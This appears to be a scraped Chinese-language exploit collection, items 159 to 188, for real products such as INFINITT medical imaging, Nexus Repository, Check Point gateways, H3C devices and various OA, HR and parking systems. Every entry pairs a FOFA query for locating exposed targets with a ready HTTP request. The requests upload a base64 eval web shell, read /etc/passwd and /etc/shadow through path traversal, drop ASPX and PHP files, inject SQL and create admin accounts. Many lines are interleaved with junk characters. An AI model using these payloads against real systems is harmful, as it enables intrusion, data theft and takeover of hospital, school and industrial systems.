object=displayregion&contenthistid=x\'&previewid=1


: \) }% j9 B, [$ r& Q; b159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
8 Y$ K% P. N: ~( Y3 tPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
9 N3 t; V$ ?  W+ p) wContent-Length: 1080
7 t3 I% y9 ]4 C) z! J! VAccept-Encoding: gzip, deflate
0 R3 J6 q  Y' ]% M" E2 Y4 ?2 W- GConnection: close
Content-Type: text/xml; charset=utf-8
0 i) K; V5 B8 e& [# pSoapaction: "http://rainier/jobUpload"

1 E5 O- o  K3 Z" g& k<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 |6 w; L9 _) P3 g, s: ~<soap:Body>
1 t9 y9 y- A6 k, b- C<jobUpload xmlns="http://rainier">
1 `7 [- h8 U' B<vcode>1</vcode>
<subFolder></subFolder>
4 L6 ~- K0 e# P& M: V$ x<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
! u3 A+ Y5 l1 s. q8 B7 U</soap:Envelope>

! {" }8 e) {0 R
7 O) ^1 n0 _8 ?- Y: i. {/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
1 f% X2 S+ Z5 w* L: t, w- d

* b7 A* p- l1 B160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
6 R# g- i; I- i4 z' i% {GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
( U7 m( \' l6 R7 e) g6 c$ O. O( OUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
: S) [4 t- Z& R. v5 [1 L: gAccept-Language: en
8 Y2 j" E# [0 oAccept-Encoding: gzip
8 Q9 {9 C! y& v( j/ n/ Z9 ]
% `$ P; [1 x; p+ i) \; i
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
, x( _- h* C9 N! z3 q* h" J第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
* }2 ]" C3 Z  z/ r$ ~- i0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
+ x. B0 ?4 T$ N( K, _Accept-Encoding: gzip
6 S, |2 a: K9 m8 c
9 @, P0 ]- r) R: n<?xml version="1.0" encoding="utf-8"?>
% f+ N. `% w/ f9 T2 N& k1 L- |2 j5 O<soap:Envelope xmlns:xsi="
8 z+ M7 D4 S' i9 O2 o( F" ^http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
. ^* L9 e9 ~+ m8 t3 N0 Axmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 B3 d4 l- E' d& _& a% g2 t<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
  |* m, [( R' t. g) M) d<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
% x4 H2 ^2 Y5 S<tag>3</tag>
9 c+ |: v1 S  q/ N6 e0 f</UploadResume>
1 K/ x& w2 O- i) T, Y' H- U) `</soap:Body>
</soap:Envelope>
& S! B9 J6 P2 N
0 ]. ~, }. |  F2 {3 [
! v3 y3 t* x. O' Vhttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
% X+ m- p7 T3 M( {* ?) F+ g1 O' wFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
. v9 G1 @) @6 [' [' h1 \# r+ BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
5 _( x. W, w# k2 ?" {2 J: s, FConnection: close
Content-Length: 583
: K; v1 d2 F  R# }  eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
/ ?% A4 T8 E6 y# A( ?) `. f4 s( `) cAccept-Encoding: gzip

- q& ~6 `0 K, D! H- x/ g; v------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
8 N! Z8 g& m- K* G$ |( C
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
" N) Z7 w0 ?* F2 Y: `- gContent-Disposition: form-data; name="action"
% n: x8 B; \! K! O( J6 W3 A1 B
upload
9 p0 }/ ?* a! l- n# b------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
0 S- D: T3 t7 o$ t; P, x0 t0 e
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
9 s2 L6 Z& x0 E) D6 Z1 `/ TContent-Disposition: form-data; name="remotePath"

' y- l+ f. m9 x/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
* t9 R7 P7 S) @; D9 {4 |

: v% |. d; \. T7 |# d& bhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
8 ^3 ]# N' [3 j3 _! @+ q* gPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
2 C8 @: E9 K% }" UConnection: close
Content-Length: 293
" `; Z) o+ v) I. KAccept: */*
Accept-Encoding: gzip, deflate
( |/ F2 E8 ]! _Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
+ M" i. p7 l) W" g5 J7 o  [, S" ~Content-Disposition: form-data; name="name"
2 O: ^$ n2 a1 D9 {
& N6 T  l- W3 j2 R; ^1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
& r) ]; X5 Z* Z# LContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
8 H0 k! X4 ~1 Y9 u. ~
  g5 r% @$ o+ w1 Q
9 W* D2 [  o" C! a- _: n; U164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
! \4 j: y  f; i9 o0 K4 p' g# [5 Q9 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 q" x8 {' _6 l& yContent-Length: 288
0 U- \+ h3 x9 t) GAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
4 L& w/ Z6 h8 Q/ KConnection: close
: R" }& x" U( C% F+ }. oContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 l0 o  ]# ?0 O3 pX-Requested-With: XMLHttpRequest
- q  k2 B( w* Q6 OAccept-Encoding: gzip
6 R' e. K- Y4 h$ t# ^* g
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
1 A) F5 m: K3 n! ^$ dContent-Type: image/jpeg
1 _* N( J! U% v
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! E& P8 B4 ^* D1 e( l/ U: a------dqdaieopnozbkapjacdbdthlvtlyl--


4 w) ]1 n, O4 }% F: x7 {4 J4 phttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
$ o, k5 M9 Q- `9 _# o  ~/ X4 `URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ _6 m  ?& W2 |9 J0 l8 M; I
. [: P  Y  ?" k6 J: M
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
& C5 |7 O" b- T: A. cHost:
Pragma: no-cache
0 ?) X( I" Z! v) \Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
9 R2 N( J) J9 \4 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 u# d9 T  Z* Z; @; c% cAccept-Encoding: gzip, deflate
; t, i* I. P! N8 ]$ U" kAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
# v% I5 ~4 p5 ^# q! XConnection: close
5 |+ R3 I0 l. p3 ZContent-Type: application/x-www-form-urlencoded
Content-Length: 89
) r- T, q, S# {. a9 `9 o/ `( x
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

/ n- [4 P3 o) O$ b' u
9 c) O6 q2 g' V167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
8 A* @* J' G6 s) h# v3 d. gGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
7 u2 h1 z7 |. @! {, ZHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% I: O& E4 b: a+ w5 }: s( iAccept-Encoding: gzip, deflate
/ l8 s* S/ @' J8 G8 ?7 X7 hAccept: */*
% h- i# @: o3 _+ D# M% oConnection: keep-alive


/ @- c3 r) S6 b/ N  N2 z1 K168. 宏景EHR OutputCode 任意文件读取
9 j$ |, F' q& e' aFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
* U9 m2 |$ z$ I5 ~Content-Type: application/x-www-form-urlencoded
Connection: close
3 L+ e5 U9 z/ D  Z8 E; U9 R5 g
8 R' j! I1 n2 q/ N. f

169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
: T- m& R! H. k! H8 xGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
; Z5 B7 t6 [8 v, D/ A. L" v5 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


" |5 [3 n/ J0 O$ Y
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
" z/ x1 ]9 t9 i) o  L0 bFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
4 f3 }% J& p# s' M( e# B# X+ oHost: balalanengliang
; A  Y2 J& X' x; w" r' Z  RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ o' h, n. A& q6 A# g9 t5 FContent-Type: application/x-www-form-urlencoded

4 a, t* t6 `* @7 Pfilename=../webapps/ROOT/WEB-INF/web.xml

5 p" ?# B  i9 ^0 y
171. 通天星CMSV6车载定位监控平台 SQL注入
, O  j% h+ B# u7 ?" R) y4 n% ]FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- }! V1 ~. c; \5 QAccept-Encoding: gzip, deflate
Connection: close



172. DT-高清车牌识别摄像机任意文件读取
% v1 I4 d7 S* [& c7 D, _4 A) CFOFA：app="DT-高清车牌识别摄像机"
) X7 v2 g! V8 ~# i' l( JGET /../../../../etc/passwd HTTP/1.1
7 x8 c% J7 c$ d0 P3 NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
/ D0 \4 G/ j7 o5 HAccept: */*
Connection: keep-alive
- N1 u$ |( C& e8 T$ q
& Z3 z1 T/ k6 ?2 \& _

173. Check Point 安全网关任意文件读取
" [* F7 o( J6 X" qCVE-2024-24919
9 h9 c# R- q% q/ e3 L8 o5 r/ ZFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
5 B9 @5 h! q. _. RHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
2 O& B& i1 S4 w! L

1 X6 _) `( G" m2 A4 `1 C- {5 r
* R) i) [( S/ D  f& S5 R! o174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# v: E' d5 _7 B: T$ Q5 ]! u& HAccept-Encoding: gzip, deflate, br
/ f% D' {8 l% k9 A: K+ V+ IAccept-Language: zh-CN,zh;q=0.9
Connection: close

' }" |( y2 U% |$ K2 _- i+ b

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
7 g" p# {$ b% u& [2 W  L  JFOFA：app="金和网络-金和OA"
4 W. _* B3 P5 b% WGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* l7 S% H5 b& w6 X7 w! @  dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- S0 l) O! R/ |' H: P. z  i& KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( H0 |6 W: F# m1 }0 P) XAccept-Encoding: gzip, deflate
Connection: close
8 k8 K" T5 ^- b9 Z) `' ?5 aUpgrade-Insecure-Requests: 1


$ h+ M* [% ~% o2 Q& C$ l# ~176. 电信网关配置管理系统 rewrite.php 文件上传
" e7 K8 @  t4 S* M+ U6 X& }FOFA：body="img/login_bg3.png" && body="系统登录"
9 ~; v# X4 H' n" J: n2 P: JPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 h1 f( V3 j$ @0 w. }3 QConnection: close
$ }$ T2 F$ `. P$ V3 G# |1 `
( R6 c, t# s" o1 Y------WebKitFormBoundaryOKldnDPT
9 w0 V: j0 ~1 p9 F4 X" @9 PContent-Disposition: form-data; name="tmp_name"; filename="test.php"
( u! O7 t" g& G- V# f  E1 SContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
$ i  v3 }5 x, ~4 y; R7 `1 yContent-Disposition: form-data; name="uploadtime"
/ S1 \9 @) l) @- ]
* c8 r1 I4 E" ^3 X: Q1 G% U4 H, p
- v. T9 R( c* x5 R------WebKitFormBoundaryOKldnDPT--
4 k6 W. b( `/ a6 D7 }/ X1 g' _
9 j& W- s- o$ e' x' y1 W7 D9 ^. u

177. H3C路由器敏感信息泄露
+ V7 i7 w9 @) B/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" R3 F% V  n8 @+ h: }3 k1 {/userLogin.asp/../actionpolicy_status/../M60.cfg
8 ]/ H1 _  T6 r& j& o6 W2 H/userLogin.asp/../actionpolicy_status/../GR8300.cfg
% c2 u* Q" M2 J5 c/userLogin.asp/../actionpolicy_status/../GR5200.cfg
  _) |3 `, i$ j/userLogin.asp/../actionpolicy_status/../GR3200.cfg
% Z6 g+ E; T$ ^7 w% @9 m+ Q0 {/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/ h- l" Y7 E2 U  U+ \( l, _/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
+ V, Y# \  }8 P! `8 o0 E/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
" {1 g2 p* \8 w; `+ ]' @: o2 G/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
! P! Y5 P* T! ?( p, Y/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
- M6 M7 P+ j. R7 V/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
7 _: U2 b8 h9 J* J# h( i- e, I9 RPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
: _6 h) u" b! E* @6 }3 ?! ]/ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 V) Y* M. Z( IContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
- c& D$ e' Q; @! C; ?* @; Y% tContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
! D5 _  J6 S5 `-----------------aqutkea7vvanpqy3rh2l
& t) R' I. a0 T+ MContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
) @7 k9 K1 ]) h, L6 t' `7 vContent-Length: 255
# a& A! o: ]: {4 s
12234
# `0 _0 G; Z. b& j7 N  V-----------------aqutkea7vvanpqy3rh2l--
$ g: I5 m/ n* I  c( |6 ?, }! l6 i

GET /imc/primepush/%2e%2e/flex/12234.txt

* L1 T* O5 p5 H9 ?3 T
179. 建文工程管理系统存在任意文件读取
( Z/ s: x/ w! G; U4 p9 iPOST /Common/DownLoad2.aspx HTTP/1.1
3 r: |! h; I0 l' t: [9 nHost: {{Hostname}}
# {8 a8 [3 }3 v' ~Content-Type: application/x-www-form-urlencoded
4 H; ?  B) D& e6 v  eUser-Agent: Mozilla/5.0
, x( B+ u0 X3 M5 |& |5 b/ h
path=../log4net.config&Name=

/ l7 W- s# w+ q3 z4 V: S
180. 帮管客 CRM jiliyu SQL注入
) p% U0 N' n% R, uFOFA：app="帮管客-CRM"
) [$ Q$ A" n4 {" gGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
4 S; G( @& Y& YHost: your-ip
$ V7 D/ d" \3 W, w1 x" |) H+ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 A3 d+ I; t6 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 d* b: O6 c, p$ t" BConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 L/ k2 G6 D* c2 k: \FOFA："PDCA/js/_publicCom.js"
& m  _9 U; j; m+ Q! w6 aPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
* Q# r) V, ]6 X4 U6 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: r3 |' n; U6 ^+ V" x2 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ H0 K/ R% B% N/ kAccept-Encoding: gzip, deflate, br
  _6 X' i1 }2 ~9 {  t$ ~" J- T. UAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

8 P# S% R. |; s
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; h/ D, z" O5 P& pFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' X" d  z9 c# A0 j6 E6 y) }; LAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 k* j  H8 V7 @: j% WContent-Type: application/x-www-form-urlencoded

8 L. B$ Z% j& {  w
username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" v& P# o/ c: q+ LAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 S% x: Z( x7 @8 QConnection: close
/ p& R1 R7 {' l, C6 K& Q+ |5 c
& r* C) C# Q- W
' M7 n  Z9 _' |8 Y* h184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
: ~6 j. u" ~3 k" \1 ~7 XFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
) ~/ Q; Y7 N( I4 S" |4 U; w1 SHost: your-ip
Accept-Encoding: gzip, deflate
9 @( P; \% ~5 [1 z- s' [3 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
1 M. \4 v6 k% _' nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

2 I8 }  _1 N0 x" w! X8 N% y, E& b
4 H' A8 x0 d8 c; M5 _7 linsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

9 b2 W5 w) f9 S. W) C& u3 x9 Y& ]
185. 瑞友天翼应用虚拟化系统SQL注入
  S) B5 A! c- a& @2 B, H& m9 j' Gversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
$ B; z- K2 S$ }' h9 _GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
1 i& T2 u2 K" X+ ]8 r+ Y7 K0 B! aHost: host
& d8 J1 u' {" y5 k( i
/ N* k8 `, p( G# a2 x# S, J/ h1 r6 {  R* ^
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
8 Q1 i) E+ c' b. c2 k5 o/ CFOFA：title=="DataCube3"
  a' K: i; j7 z4 G5 i% l. l: ~POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
# M2 @9 T8 t6 E, g+ y% W+ P% yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" x9 @- _9 C; M5 N1 A6 n* KAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

9 ]  y& n: ~" ?
7 A5 a3 R9 N+ A2 i" n9 o2 n187. Mura CMS processAsyncObject SQL注入
5 r1 t3 m4 `; y. L. SCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
0 ?0 N% f8 _' \Host: your-ip
) b5 G4 [! R. K6 s- M* I8 m; EContent-Type: application/x-www-form-urlencoded
! n3 Q: E" X5 l& a5 j, V
* Z" Q( j0 u  m* ~* e
( x( F$ ^% n7 a) C% Eobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
; v; g  p$ O# K
& t  T/ h$ j6 i. N& T
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
) S5 [0 T& a+ r1 tFOFA：body="/system/get_rtc_user_defined_info?site_id"
